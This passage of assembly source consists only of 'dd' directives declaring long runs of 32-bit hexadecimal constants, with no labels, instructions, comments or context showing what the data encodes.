		dd 73566B17h, 0DE2F3351h, 76EBC92Dh, 482F1009h,	974504DEh
		dd 36B80A5Eh, 0F58D3181h, 6BED0E01h, 0F3034C09h, 2EBAD11Bh
		dd 8AEF3B28h, 0A2F57C60h, 0F051D325h, 89CB8503h, 0B25D03D9h
		dd 879BF406h, 0FB8C212Eh, 7574CFE2h, 716300F6h,	67024F2Eh
		dd 0D925098Ch, 4C44C6EDh, 2935FD57h, 89051F0Fh,	497301D5h
		dd 413158ADh, 4C312B31h, 0A53F9D33h, 5FD27CC3h,	6EFF8684h
		dd 405A005Fh, 0A327CEC4h, 4D410082h, 0B7C9BB57h, 87AD5178h
		dd 176115C4h, 98097BDAh, 163DD54Dh, 2A458E80h, 120C5B65h
		dd 0A2914F93h, 870F76F1h, 0EFCFDF69h, 9540A02Eh, 553A4Bh
		dd 0F1CA37D5h, 0F50C2241h, 0BD12F3B0h, 0EDAC2D71h, 0A8BAEDB5h
		dd 9602126Ch, 4DA1E782h, 0E67AC28h, 0B0975819h,	0D3A4D841h
		dd 9A342EBFh, 7F0081B2h, 0EF4E9D30h, 0C0045924h, 8C06DCDFh
		dd 975BA7B0h, 8899D31h,	0E5C32481h, 0E144121Fh,	546E2B98h
		dd 0ABA67300h, 472E3996h, 95EAC69Fh, 76B7A38Bh,	565E990Bh
		dd 0D86DE939h, 5748F641h, 720C568h, 3BB65B5Ah, 0B1B2DF32h
		dd 8D5198FDh, 21114155h, 6A21EDE8h, 14C8309Ah, 9D8910C0h
		dd 0CA285EDDh, 0A8DAE0EDh, 0BE3833FFh, 0F89B96C4h, 0C20BFE5h
		dd 0E65D3C0Ah, 0D1DB12B9h, 0E20DBC0Ch, 9D23E05Bh, 0A45379D7h
		dd 37B72573h, 68B6CEC6h, 0FA464D40h, 0A66F0C8h,	6C3CAB94h
		dd 198509E7h, 0DC8A6290h, 4AD41497h, 0C0C1DE6Ch, 15966F67h
		dd 0BBD30230h, 51C6D41Ah, 0D18D9F60h, 0B7961044h, 8A5F8464h
		dd 3CDE18E3h, 305EB79Ah, 1CAEB7D5h, 0D683C0FAh,	7BFBE029h
		dd 0ECF90625h, 41BB1387h, 8C71FFA9h, 8B18120Eh,	5EA9FA5Eh
		dd 7659FBC8h, 0C1B77FA5h, 0AD6ED700h, 0F7B7E93h, 0CF81AFBBh
		dd 14D097A2h, 6DD0BA55h, 66E86071h, 6500837Bh, 0DC909B1Ah
		dd 771DBB41h, 84504B81h, 8021ACC8h, 0DB21974Fh,	612A00B9h
		dd 1A9A95D9h, 84820DAh,	0B0D10C6h, 0E05FFC5Bh, 0FD8DB751h
		dd 162E7CE9h, 8EE800ADh, 8B3907D4h, 5B9C15Bh, 2DB5BD82h
		dd 0DE7EBA55h, 10CCCA1Eh, 43ED4A16h, 0D0A7CB3Dh, 0A5A4E2F6h
		dd 6FFA6A93h, 0F0D409E8h, 56008ED5h, 80BB7A31h,	0C25CD0C0h
		dd 0EE04999Ah, 38801171h, 0DE6FBFDDh, 0E4E81601h, 4CBDA97Ah
		dd 0E21022F8h, 9D6CBF52h, 956ECF00h, 5469BAC9h,	30A300DDh
		dd 68AD3531h, 0A4F7A91h, 0F45A24F3h, 408F04FCh,	0C8D8BB36h
		dd 0D6F17916h, 3E9BCC8h, 0BC149BDEh, 0B6104616h, 5B122951h
		dd 347AAAF5h, 95761003h, 0F5906921h, 6A5A5E57h,	73C0239Bh
		dd 0F7DFA111h, 158E8BA0h, 4130DC8Ah, 0F11E3E94h, 9C04E868h
		dd 0BD55D200h, 8318A68Eh, 0A8FB97F0h, 33181D59h, 0B5BE2C02h
		dd 848B3BD6h, 0BFB84FC6h, 7D973BDEh, 0FCD2FC2Eh, 84188C16h
		dd 0E14C1FD3h, 0D067952Ah, 0E2438211h, 0A2E4D000h, 7AAA2B60h
		dd 8FBE16B8h, 26A5F85h,	20B853E9h, 0E53E9D01h, 60B142D8h
		dd 0E354C2A7h, 68009012h, 0FB1848BBh, 9D31F659h, 8A268166h
		dd 0A6A4E0FCh, 0C29DF909h, 0DB07F510h, 3DFF09ADh, 33F2002Fh
		dd 8BFC50B3h, 60E9DE13h, 0A38B38FFh, 3339D592h,	934ECEBDh
		dd 0D2062EB5h, 5AA46FAFh, 988E54A0h, 80229713h,	0C15CDA8Ah
		dd 0D43256E9h, 54B2A100h, 0D82538ACh, 0D6985882h, 2926FD10h
		dd 9680F790h, 0C50F8F42h, 0B2CF4E83h, 0FE08DAEBh, 0D8902791h
		dd 98001707h, 169DC88Ch, 27BF65h, 79947C5Ah, 83899E5h
		dd 0F18B6012h, 99ED188h, 0BCE42A3Ah, 7D050D80h,	0C00009C5h
		dd 0AA461AFh, 3CA184FAh, 97795AD4h, 0B80FB37h, 348A31DFh
		dd 499DE870h, 0D94A10D5h, 8B083BE4h, 6EC3271Eh,	6639AB85h
		dd 0E3B08E26h, 9109D89Ah
		dd 71298BCAh, 2951AFE7h, 7DBD2385h, 0B1FFC188h,	0CD998178h
		dd 3EA979D0h, 0FFB52FA4h, 0A390ADADh, 57025DE3h, 29B09276h
		dd 4BA8FA8Dh, 0E5BD985Fh, 71AB31D2h, 90D5Fh, 4BDD9589h
		dd 0E6C9900Ah, 685AB770h, 58140B0h, 67E285D2h, 0D22AB7Bh
		dd 0E22927BBh, 0AC5C2F81h, 3CB8041h, 0C2A3242Eh, 4855D9A3h
		dd 861D691Fh, 926D3ECEh, 19509FE2h, 30598C6h, 616FF8CAh
		dd 3A10C82Bh, 95762DD1h, 98140498h, 291AE300h, 77DCFE5Ch
		dd 48F8B030h, 0CD10D452h, 0DE5B3824h, 14341EFh,	8722EDB5h
		dd 4E49854Fh, 33AB4405h, 870F915h, 6A0BACA9h, 8A0A11CCh
		dd 36E3E2C3h, 7EF10F5Eh, 2919CE7Fh, 2588BB24h, 8532D2Bh
		dd 1376F781h, 17045296h, 0D251E84Ah, 0B30B6DB6h, 976DED85h
		dd 0ABCF2FE0h, 0E1DB2D69h, 609FD8F1h, 0CA9B78EDh, 0BCCE3586h
		dd 97F3801Ch, 0BDA9AD6Ah, 2002E16Bh, 0DF00EFEDh, 2924EB35h
		dd 970BC195h, 7A107F3Bh, 0B91231F1h, 763FE1B5h,	0CAB1E0D8h
		dd 0DE94022Bh, 1DA46258h, 0D5DB560h, 56F94282h,	4601344h
		dd 324658Fh, 0DC61EA8Ah, 4C4F0C7h, 0F99D70AAh, 99CD22Bh
		dd 0CF584ADCh, 0E8B04FF6h, 4824C0Fh, 8DA1BB80h,	89950218h
		dd 0C03D7FBBh, 3EACE412h, 0B46DB625h, 0A601D64h, 0EA01B453h
		dd 742C1184h, 0DD2AD6E5h, 0D2115ABFh, 326200BEh, 0A0377BAAh
		dd 3FC114Bh, 0DB65D825h, 63DF8160h, 60D725CDh, 1C0096B7h
		dd 5DCC62B0h, 9DBA775Ah, 5EEE3B10h, 7608BC60h, 0B90840Bh
		dd 65EB544Fh, 27004EC4h, 0DA43927Bh, 121E385Fh,	0AC356E2Fh
		dd 204DB2F0h, 0CFBF3DB7h, 245C7112h, 9BAA2F25h,	3FDEC408h
		dd 0B3309EEh, 0BBE0E956h, 0E6C70319h, 0E7E15CFFh, 0BD245112h
		dd 75DA87FBh, 52C57CE1h, 58B5282Bh, 0DFB50464h,	0DB1261F8h
		dd 8D8BB226h, 9B2B285Fh, 83B8CFEDh, 0A926B6DBh,	5CE58079h
		dd 0EEDD489h, 0F171C456h, 0F47854D2h, 0BDDA4901h, 0C0E78060h
		dd 0DEAF182Bh, 2BF36FC7h, 71BBAE17h, 2F01E900h,	473C5BF3h
		dd 87C29E4Bh, 3B140BBBh, 0CA579C1h, 4FD3CB2Ah, 73A08DB6h
		dd 8A05F631h, 9B0FC5D3h, 2F87E2ECh, 0B03AA7D4h,	6084DBC6h
		dd 2C40209Ch, 17674D51h, 0ECD0E181h, 0DE0280F6h, 2F84EEFEh
		dd 2D7BD2Bh, 5C5B5F3Bh,	64256A22h, 1888AAC8h, 0E1574890h
		dd 2AC15F2Dh, 7E6AE5DEh, 0C8BD9FE9h, 8400663Bh,	0D044748Dh
		dd 2EBD8916h, 44AE3215h, 68F54001h, 902F9735h, 0E4700980h
		dd 48FE2C17h, 3094CA05h, 1853480h, 1638950Ch, 0A1279D03h
		dd 5AB8FC02h, 40356DD7h, 4C389DA2h, 7D26C170h, 611F052h
		dd 2FCEF04Bh, 21A9183h,	0C1B09F27h, 2312BBBFh, 0DCB360E1h
		dd 0FBB70F09h, 7B2DD559h, 7B7C78F5h, 7ACD11Ch, 0E74BDD8Ah
		dd 5C627h, 0AB3F1794h, 7C16C279h, 22D03000h, 12CAAE05h
		dd 0F192954Dh, 0E30A6DFDh, 0E7E80E9Ah, 480BA0FEh, 0D29D0B5Ah
		dd 94F3B76Ch, 70481A59h, 9E670EB4h, 8ABF912h, 2679FC82h
		dd 0BC8DE6DFh, 7800D457h, 982E301Ah, 4C838DADh,	651822D7h
		dd 0DD9DB502h, 0E8FB3149h, 0D7128C16h, 0C4309563h, 97C85h
		dd 0BBFA1969h, 4A7823A7h, 56270B97h, 0EB07DCD0h, 0C2AD972Bh
		dd 0F7805110h, 4817B2Eh, 3C0F473Eh, 36D0BA96h, 483A4B9h
		dd 5A537115h, 7E22E561h, 0EF09A005h, 6F35CDEFh,	0A9A8BDE2h
		dd 2BA0510Bh, 406D86Ah,	0CBAA0A68h, 2BCBA19Eh, 59F54F00h
		dd 10016153h, 0A42FE59Dh, 1246EEEh, 844FC0E9h, 207F9064h
		dd 8FAD5263h, 0FCB72007h, 5EB50B2h, 5D4BDBCh, 0DA7F5EE1h
		dd 0C315C891h, 4C1380D2h, 5B0461FBh, 0CFBF3285h, 0CB800932h
		dd 468659BCh, 0DB971E4Fh, 0AD5780Ch, 7BA2A101h,	43E92E8Fh
		dd 0D7E03237h, 0FE0BB5D6h, 7DC5E9FBh, 34641A8Ch, 746567B5h
		dd 93DB5BFh, 595C7D67h,	580E0BDCh, 83029E72h, 87091D8Dh
		dd 9C4B7D2Ah, 9C851799h, 0E8EBE904h, 834700DAh,	6021BA51h
		dd 0B709BFB0h, 1601D4B9h, 6B67692Ch, 54A559h, 0A7DEDD11h
		dd 17879F20h, 785A182Fh, 0E9252D74h, 5452A5FEh,	0DE70D466h
		dd 2746B004h, 52C041ABh, 97FC7C60h, 0B99DC430h,	0B3511940h
		dd 850109E3h, 5F96A4FDh, 34D8D2B8h, 96810F11h, 0BD8E66Fh
		dd 556BBB63h, 0B560E981h, 809468DFh, 0CE0AE012h, 0C13F00CDh
		dd 0DFFBF431h, 181F7461h, 0F34ED811h, 5F1750FAh, 8E50DB96h
		dd 5E6C094Ah, 80FC2756h, 0F57952h, 255699Dh, 0F2015A25h
		dd 0D5F819C7h, 0F1C9EA5Ch, 0B674127Bh, 3214B2EDh, 0ED665Fh
		dd 90939FCCh, 3ABAB064h, 81608E00h, 0D0E938CAh,	2097B075h
		dd 615526E5h, 54B76AD3h, 7C693B0h, 18A5D604h, 0E4B80138h
		dd 0DB88D4DCh, 842BB1C1h, 0A5F63F41h, 93B9B9B4h, 32C027ACh
		dd 0BFB95B60h, 0E4759905h, 0DAEFF907h, 0F8F6D6F9h, 271F1709h
		dd 0B490882h, 0BF04C220h, 0FE3112BBh, 0E0D5E155h, 4178C84Ch
		dd 5FBD1A97h, 8400A464h, 0ADB3DE91h, 3A555A46h,	800423F5h
		dd 0B9A6F02Fh, 10AF97ACh, 804F5A93h, 982C4A4h, 2A79852Dh
		dd 5EAF3427h, 2938F692h, 0FAA98901h, 0F113E2A1h, 6E91AD05h
		dd 4FA97E10h, 0E359DE27h, 2BEF9B00h, 1F3D4E3Bh,	405EBEE7h
		dd 335B4384h, 1E4EB5BDh, 206140A5h, 2BAD112Fh, 0B5E78A00h
		dd 0F3B24655h, 85A22AFFh, 53795F25h, 1216DEADh,	80AE281Dh
		dd 60A1DF12h, 0D5105AB7h, 0D981002Ah, 158C6F11h, 0C81B9761h
		dd 792014FAh, 1FC872Eh,	1CC02062h, 0CC5CD8DFh, 0D4E29218h
		dd 0D7E19E08h, 0F9559B8h, 96C014C8h, 0A8498529h, 0BA70B3B5h
		dd 18F86FBh, 1CFFAC69h,	6C4A0BECh, 12BED22Fh, 8053EC02h
		dd 57E4A371h, 181200F7h, 2B98CC4Fh, 64F69242h, 0BD38D409h
		dd 51B257F3h, 71502D7Bh, 75B816AAh, 9755FCC7h, 7F7FC3B0h
		dd 0FA60BF45h, 0F58231CDh, 0CE24284Ch, 3F49584Ch, 3B1F0E31h
		dd 0C2EA82A0h, 30961EE9h, 74FF1616h, 0B4828CA2h, 41DAC500h
		dd 0A0D377F5h, 719B935Dh, 48851815h, 0C122C5DAh, 32948595h
		dd 0E81371AEh, 7EEA100Bh, 29760F8Ch, 0C560BD40h, 8D0FBA37h
		dd 96225BEh, 0BF5F0511h, 0FC25B8DAh, 0BF0239E6h, 18065DB9h
		dd 0F4AAF4C6h, 8048E737h, 0B5B516Bh, 0F4561F65h, 143575DAh
		dd 16B27B00h, 25C5332Ch, 40E227E9h, 0C0266D5Dh,	0A47F9B57h
		dd 0B3B85801h, 0C18BC247h, 0E075F62Ah, 29651C7h, 0C85B2117h
		dd 845D2882h, 7CBD0501h, 0E08DA6D2h, 779EDAE0h,	14E3956Fh
		dd 37E15384h, 0F0B0E66Fh, 911D356h, 1F41BD09h, 91F69F57h
		dd 0CC74801Dh, 1E21E98Fh, 81798675h, 0A9BB6632h, 0E834694Dh
		dd 86C93BE9h, 0BD921Eh,	817BED3Eh, 3A13C0DFh, 5DFC52B4h
		dd 7B30229h, 62EE150Eh,	0C1555CB7h, 0C01223FBh,	0C41DECFh
		dd 0CC84F35Ch, 0CC50BC06h, 0E600290Ch, 0E8C9C318h, 2D95CDFCh
		dd 82D30489h, 1F2BB78h,	0DE7CC47Eh, 91F4A230h, 54603DDEh
		dd 16D98D09h, 0A3A6EAB1h, 42F67960h, 52131FAFh,	70C5C064h
		dd 8D8B964Ah, 6169E9B7h, 0A696742Fh, 7716A001h,	0D51701BAh
		dd 0CD9E0871h, 0BBB62A8Fh, 50301BB2h, 6DC71D46h, 8B0E0919h
		dd 11458782h, 0C8EA8E09h, 0D1FF0224h, 9D5EDE8Ah, 0F145A51h
		dd 6A85B1D4h, 0B8E2BD02h, 892512CBh, 31F8A0B2h,	0FE953FB9h
		dd 5EF92FF0h, 0B09DD6B8h, 2B4D2A6h, 812D4E2Bh, 9C57B3E9h
		dd 6818492Dh, 13D77476h, 6F507BDCh, 76C52FD0h, 0F5D0BC8h
		dd 2BE0155Ch, 0D61EE1BDh, 81FAE8EBh, 0EDF517DAh, 7FACE880h
		dd 57B6CD4Fh, 45CF6905h
		dd 88425B91h, 759D3156h, 0FA5F9E24h, 0D27A2320h, 77670013h
		dd 0CB908055h, 3512EBC4h, 2F69F2Fh, 0E2BEB712h,	4FED4BF8h
		dd 0E60306E8h, 89118CEFh, 5C098F85h, 5054E9E3h,	746ADB0Fh
		dd 25D548EAh, 0BBBB9319h, 8DB6B504h, 2E4559F1h,	118FA61h
		dd 0D1C8B002h, 0E68030D5h, 45E69870h, 0E4E52002h, 0CBF57125h
		dd 3056C4EDh, 32DB04D3h, 5C588803h, 885B4A5Fh, 3A1C926Ah
		dd 8A9803F1h, 0C8B6561Fh, 0C0B7F9ECh, 25F3DF05h, 5E45FC1h
		dd 77C2DEF9h, 0D090982h, 0FC49045Eh, 0A05A2588h, 3559D10h
		dd 0B508F589h, 99DA9C58h, 0F8E762D1h, 0A26FE94Bh, 0EBC7201Dh
		dd 0B81ADF7Eh, 0EC42B536h, 0D0741BDDh, 0F8319Dh, 0AFEA613Dh
		dd 70A636EBh, 60FB655Eh, 0B58BE72Eh, 7C45B4Bh, 0FC8063F8h
		dd 0FA3B37CCh, 818D6B00h, 7C516DCFh, 24C85AD5h,	0F7D8FFFFh
		dd 2546DC5Fh, 141720E9h, 951415A6h, 3989DF71h, 0C5252064h
		dd 0A7C17324h, 6B227EE1h, 881E1298h, 0C6278060h, 0E63854B2h
		dd 8B8466F5h, 0E1257790h, 82DE528h, 0CA279568h,	65377580h
		dd 0F60DF78Fh, 0F11309EAh, 35E9705Ch, 5F5D80D8h, 413953C5h
		dd 10165A25h, 0D33153h,	0B7A77BBAh, 0BEC7C1FDh,	55B220E3h
		dd 265B0D40h, 8232C5B9h, 0F39B529h, 60FC9F90h, 50F3ECC5h
		dd 5A938CFEh, 8398617Eh, 6A4BF702h, 82C02B0Ch, 0F0695BEh
		dd 6B66D20Dh, 4BB727D1h, 0F2EAF72Fh, 0DF9C301Bh, 4DAD5803h
		dd 28181CEBh, 0BFA3F16Eh, 0A2E0E34Dh, 12EABC68h, 0F21D3D3Ch
		dd 6F6E5F2Ch, 0D5E8A800h, 3C863ECCh, 39A0B962h,	2F45DA16h
		dd 287B11F1h, 2E991303h, 0EC8A98E7h, 30CD0079h,	5DB0DD3Bh
		dd 0CE4F8C56h, 0BD037D30h, 0B70E5AA1h, 0B4875FF1h, 2FAB47C4h
		dd 976A4AEAh, 0F5399D0Bh, 18291F1h, 550465B5h, 8D643151h
		dd 0DFDD9EAAh, 95842E40h, 0CF63C6E7h, 0C049EFE0h, 12300D79h
		dd 0B33B527h, 0D7CF807Ch, 46D6DC56h, 5E352E14h,	0FFDC6802h
		dd 70B073E1h, 0AD051167h, 494ECF8Ch, 2907C0FEh,	0FEA86195h
		dd 6B128FBBh, 2DF21CB9h, 0FB04A984h, 0DC01D97Ah, 0B3CDD826h
		dd 0D6FF3045h, 712FF912h, 90884DF2h, 0CD097BA4h, 0C228790Ch
		dd 0E9D30447h, 0A92BD0h, 7ECF3CFCh, 0FFF159Fh, 0F98C604Fh
		dd 0C1951031h, 38093B04h, 14E3DA0Dh, 25819D08h,	478B186Bh
		dd 13B40E9Ah, 6AC0CB01h, 9691946h, 0D288DC02h, 55BD33C9h
		dd 5F4B82F0h, 212B4FD2h, 0D98A92BBh, 7992B6Fh, 207FF8DDh
		dd 6A7AF1C4h, 57059B70h, 219A183h, 0D2A3DAFFh, 2FB2F898h
		dd 4B84D727h, 0BB900006h, 932C8BCh, 1BB75008h, 902526C3h
		dd 40F259F9h, 65BAB960h, 7A12F227h, 10E21ACAh, 9CD9718Bh
		dd 0B3CCD800h, 9E763Bh,	0E26F5313h, 609708B0h, 0DE109602h
		dd 771F6BFCh, 76C51EC6h, 60AA5FD8h, 9F683B4Fh, 710097F6h
		dd 527555DAh, 7E7CD66h,	17CB314Eh, 5F5B923Ch, 584B82C4h
		dd 977F56Eh, 0F5F85DC2h, 33A60859h, 0ECC1D225h,	0FC3FB485h
		dd 59B9F80Eh, 0A42D2383h, 0DD522556h, 81D530Ah,	1C3C3241h
		dd 5C2D024Fh, 1D09602Fh, 317E8A1Ch, 8CAE6F01h, 0F3E1E286h
		dd 0EF33162Fh, 317C217Bh, 45EC27A9h, 0B58C0526h, 41EF0011h
		dd 0FE796F30h, 21002FD7h, 0D260B343h, 4F0F381h,	5F423CE7h
		dd 0F12E8409h, 74172EA0h, 37B0BAF7h, 0CA958509h, 555B5C1Fh
		dd 449EE109h, 0E333010Dh, 395C3247h, 5B742F44h,	93DF52DAh
		dd 640FAE2Ch, 8DB3D9F9h, 61092529h, 0AEB70689h,	0B1032683h
		dd 0A85E5E57h, 0B9668127h, 1E10283h, 972659ECh,	0CF815FB8h
		dd 58AFD609h, 377879h, 52BB96F9h, 500145CAh, 293C69Dh
		dd 81E7A637h, 0B37D8661h, 32409CDCh, 0E356821h,	9A3E7800h
		dd 0E31BA175h, 4AA312EFh, 350BAB5Eh, 89FCD996h,	87909D89h
		dd 8709DF81h, 7A374839h, 6C6F9D35h, 0E2668D4Fh,	0C82A0BDDh
		dd 3472A91Fh, 0D0A4F705h, 2CAE7CB6h, 31093B8Fh,	92501E5Eh
		dd 0BF3D4B5Ch, 95B7BF00h, 265748F1h, 58D3099Eh,	6B893937h
		dd 85B8823Ah, 0C5BB002Dh, 7404AB55h, 7EBEBF66h,	6D27BBCh
		dd 325BCDA7h, 9E2C1520h, 0BE2B6038h, 6504B8BAh,	10584CE1h
		dd 0D9A50953h, 655CA342h, 2E1446D6h, 0BD1F19FFh, 27B5EC60h
		dd 4A5C2A99h, 0A751E6C0h, 6106313Dh, 2F30597Eh,	760773Dh
		dd 0DFC23E92h, 2D2E6031h, 5C610202h, 2B4B5156h,	0BEB584E7h
		dd 5EAE6712h, 0B75AB8E8h, 5F1BA06Ch, 0E9B501F3h, 1959FF0Fh
		dd 218E6B0Ah, 6D27B5BCh, 40C16F16h, 3219B1EDh, 0F385CE12h
		dd 0F78C5EF2h, 0BF025051h, 21D65319h, 4BE7965Fh, 0B00CF7E3h
		dd 17BB1B19h, 0FAB76E8Fh, 4ECC6664h, 0B9200D3h,	532CB680h
		dd 1F05E676h, 9872DAFCh, 4AB827D4h, 0AD5666CFh,	33CD92DCh
		dd 4ACEE73Fh, 0EEA287E6h, 3D737748h, 6096641Ch,	0BF5BD06Fh
		dd 611C8394h, 26FDEAB2h, 3060B260h, 0D9CE5Eh, 3FDF1934h
		dd 0E30D2423h, 8AE2B918h, 995AD6C0h, 1AB48078h,	0ACA97B74h
		dd 61563F16h, 0B4BC6BEDh, 0B37BC928h, 0F06B73BDh, 740105F0h
		dd 0A2655B5Ch, 0FA20DA97h, 9D6BF7F1h, 150E30A1h, 3BFDC595h
		dd 356DF27h, 41746D6h, 6213BFB1h, 0FB9210BCh, 5602266Fh
		dd 769AB96Bh, 0BFE53057h, 0E40297FAh, 0E15C72B3h, 0C03C4D27h
		dd 9D015FCFh, 540E3D27h, 37FC5AF5h, 308D13D4h, 0ADBB07Bh
		dd 0ECDC84Bh, 8735206Ah, 0A0001FFAh, 68EE5A29h,	1C516FD8h
		dd 8E11528Eh, 0B0B6178Ah, 6AE25F17h, 0DEC896h, 62A959EFh
		dd 9C76994Bh, 10FEE426h, 9BF2320h, 0C7DF543Eh, 8531908Bh
		dd 0CE952489h, 129F98D9h, 0AF50CF6Dh, 3620188h,	29467A25h
		dd 70FFC9B0h, 0AD2E7F45h, 2C415309h, 9D5E7061h,	0F5840973h
		dd 9CEA4090h, 286735EBh, 4949D0Dh, 27F18EEAh, 0D881FB48h
		dd 0FD139420h, 160B4650h, 0BC34EB61h, 72E042A6h, 0F3358019h
		dd 0DFAEE479h, 7F8D8B00h, 33A754B5h, 73B3E848h,	0A75E027Bh
		dd 7ED8A1A0h, 507945D5h, 28256FF9h, 174E468h, 0A5FED7F7h
		dd 2B596A70h, 0D4E50C0Ah, 315F5B83h, 0CAEAB4BDh, 8002F029h
		dd 8AD44BEBh, 23D22B1h,	4543D381h, 35571674h, 801A91EFh
		dd 688C385Dh, 0D8E312F6h, 222AB01h, 4FA57AC6h, 0AC571661h
		dd 401FBAB8h, 6877C4FDh, 0E9C7913Bh, 0B9112E62h, 0B793BC9Ch
		dd 0C14B0950h, 0B180329Bh, 65D24C13h, 7D62B300h, 9D2326CCh
		dd 9DD59019h, 84409418h, 4530B700h, 6D2A5D9Ch, 32632EFEh
		dd 0F6592DDCh, 2D68E48h, 48DF0CC7h, 0D6554D27h,	0ACCAADFEh
		dd 0F52F85DCh, 263DBF8Bh, 13A91E12h, 0CAD0BB92h, 51299D2Bh
		dd 0C83A3019h, 2700E0AEh, 38E79715h, 0BE33156h,	459D33BDh
		dd 0FC8CACF5h, 0EE242F98h, 60802654h, 0C3B966F9h, 2E589D96h
		dd 0EE934D9Dh, 0F01A073h, 2519E4BDh, 5389F133h,	3670F973h
		dd 136F0B6Ah, 0B9051C12h, 0E8D8FBFFh, 89E95B85h, 0D8097D6h
		dd 0F67152FBh, 0FC18F066h, 55B51331h, 4A76AB10h, 0EF9D5F1Ah
		dd 6BABBC12h, 12142313h, 0E2E249h, 924BCD82h, 1E0AC873h
		dd 5762E26h, 0A2D1FFEDh, 0FCEC02ADh, 755D8691h,	0A01EDCEh
		dd 55B045CCh, 97AD013h,	96715F37h, 89564E44h, 54B26F6Ah
		dd 0C620EA97h, 17606A1Ah, 83EDB589h, 0F9B103F9h, 610C9215h
		dd 0C85E44BCh, 0AD5889C0h, 0C3E0Ah, 0E5B2985Dh,	5E8A5004h
		dd 16BFB2FAh, 0EB291F0Dh, 0F86B64A7h, 6755CDF2h, 4BA21291h
		dd 836DFC5Fh, 0FF921FC1h, 0A5F21F3Eh, 8FBC86CEh, 0B007004Fh
		dd 0A7E527h, 597134F1h
		dd 0F525FFCBh, 3C957312h, 0D7F8F94Dh, 6FB9EE39h, 1D3C7CF5h
		dd 8085C52Ah, 9761C0DEh, 0B7D7921Ah, 7072843Fh,	90AEB951h
		dd 0A103CFFDh, 14408AC5h, 2B5FD8h, 1F5D1B0Bh, 0BF5592EDh
		dd 8D1395F6h, 6BFF5B2Ah, 0BA984EDBh, 0A9A00A5h,	771B9590h
		dd 0BB01B729h, 3780EB9Dh, 0A66EFF6Ah, 3720E02Dh, 0E1C09F2Fh
		dd 365CF2D7h, 321D1232h, 0F0A771B7h, 49DF13CAh,	289A9312h
		dd 622EAE6h, 8500DEA6h,	1D7A8232h, 3A7B4Fh, 0BAE66B65h
		dd 192D7DBBh, 78B04225h, 12852034h, 0F91870FEh,	0EFB871E4h
		dd 92BB4B8Ah, 12BD6FDh,	303DBD65h, 0ED5C5F02h, 10BF816h
		dd 40947FB5h, 10A5BD10h, 0EF49AA92h, 4AE870F8h,	29A18C56h
		dd 4575B532h, 1148D55Bh, 0CF8431ADh, 0F5B91510h, 0E24C28Ch
		dd 0D82E7040h, 7E1366C5h, 22EFC0D0h, 0FB5CD455h, 75475509h
		dd 0B4B7D740h, 0A694097Bh, 0F9057C4Fh, 0CCFED03Bh, 449D33F5h
		dd 0D651E4D3h, 0FD7B0417h, 0D8CAAA07h, 9CF2E302h, 45D56820h
		dd 0E53120Ch, 7E620609h, 6E555B6Eh, 0F13A81D6h,	8612CC6Eh
		dd 0A3462400h, 9E541493h, 517C9061h, 8C016895h,	282E0B5Dh
		dd 0A6412DD8h, 0DFD9206Bh, 0FD3E3AA3h, 8F608066h, 4DB3FE3Dh
		dd 6EF10B21h, 0B9E12867h, 6AEB2AF5h, 0CE984E4Fh, 2747007Eh
		dd 95A3F052h, 0A54C382Ch, 32A44A74h, 0F5049D57h, 0B95F010Fh
		dd 0B00100Ah, 264B659Dh, 1266C488h, 0AB08F4BBh,	43A5AD0Ch
		dd 0F6C04B2Bh, 7B12E01Ah, 4C08029Fh, 0A46C9931h, 0D22B96E0h
		dd 9DC0296h, 3EC211A2h,	32101D54h, 5BF9500Bh, 46FEE056h
		dd 0AC8C1216h, 0DF277FB8h, 0DC3B74h, 0BF2E61D9h, 0CA07AA76h
		dd 0A032BB04h, 0CDAA531Ch, 0E4E33FB3h, 0BF56081h, 6AE47A85h
		dd 0BD1A9761h, 0EC401854h, 25F8F12h, 59E83CC7h,	0C75CC2CCh
		dd 0D4AD9C5Eh, 0E3E5AB13h, 0D825EAE8h, 0D0707BD3h, 8C7B1EA9h
		dd 0E0C5257Dh, 81038011h, 758B11E7h, 2B5FF1FCh,	8FA042F7h
		dd 51255D8Dh, 2EC7B0Ch,	60E30D87h, 64C54D75h, 99456019h
		dd 4EC602D8h, 0F18A60E2h, 30408C74h, 726264CAh,	0C9840478h
		dd 81294D2Bh, 206155Fh,	9EE2DF59h, 281655F4h, 2B1A38AAh
		dd 652568BEh, 6F391FACh, 55D2767Bh, 0F6AF06D9h,	0DD53D2F3h
		dd 7D4DF470h, 0DE68024Ch, 5A0B5CC4h, 0F3579EEAh, 113870C9h
		dd 351DF804h, 65A35BA1h, 3A33CB00h, 0F87FBFEDh,	801F4B3Ch
		dd 318F2495h, 388B51DAh, 0F8C5BFEh, 0F937018Ch,	0DAFC2497h
		dd 0B73749AFh, 0EE911D5h, 398D8910h, 5705629Dh,	0B852AED3h
		dd 1D43CA18h, 26B37452h, 0E27A0EB8h, 0F5710BC9h, 0F09FB2AAh
		dd 174B25E4h, 0A3606854h, 44738AEh, 9767F3B1h, 8CAAC690h
		dd 0E8B72890h, 32456845h, 523C3FEAh, 0FC43AC5Ch, 0D4F3C830h
		dd 690C0039h, 0DC668326h, 0C47598DFh, 0BB7C1F02h, 0E97BA824h
		dd 85C9313Eh, 14CA7Eh, 5FC0D932h, 2525C20Eh, 0EF70585Ah
		dd 20E9BA00h, 0F337BB17h, 0DA7FE17Bh, 0C115C8B6h, 40E8CBB5h
		dd 8D01FD42h, 13672F00h, 766D12AAh, 8041E708h, 0C10424E5h
		dd 3FCE859Bh, 0C0C12B9Eh, 7BB7788Dh, 98E94202h,	0BEB9DE01h
		dd 8BFC32AFh, 606A6D5Ah, 0F4466F97h, 0FCFE66C4h, 81C0A1B8h
		dd 83347CF3h, 858D3D4Bh, 98AAA354h, 3108E7C9h, 2C5829ADh
		dd 0E28D125Dh, 89018F0Fh, 554642BDh, 76AF46BDh,	0B54CAE8h
		dd 217FF26Eh, 588CBB32h, 44861E24h, 2413BF05h, 34FB71FAh
		dd 0E08EF67Ah, 921CF85h, 1EF6ADE3h, 1031D002h, 0FE18BF00h
		dd 8D354B8Ah, 0C1C92B36h, 70F9A07Eh, 9659423Fh,	0B700487Dh
		dd 0DEF68166h, 5F610F2Fh, 0F48BD03h, 0C596800h,	498B31EEh
		dd 0A63F71D8h, 0F6CFF13Ch, 0F812E331h, 5DEA323h, 29DD2A6Dh
		dd 2BCCBAFDh, 0ED9D1289h, 0BC8FB901h, 78BF8C14h, 27F12096h
		dd 0C0A39048h, 61CB1B49h, 9CAEA028h, 9B18124Eh,	2B6FC89Eh
		dd 36E8B300h, 9A0FDEB5h, 739F0A6Ch, 8AF45F27h, 2DF2CFB7h
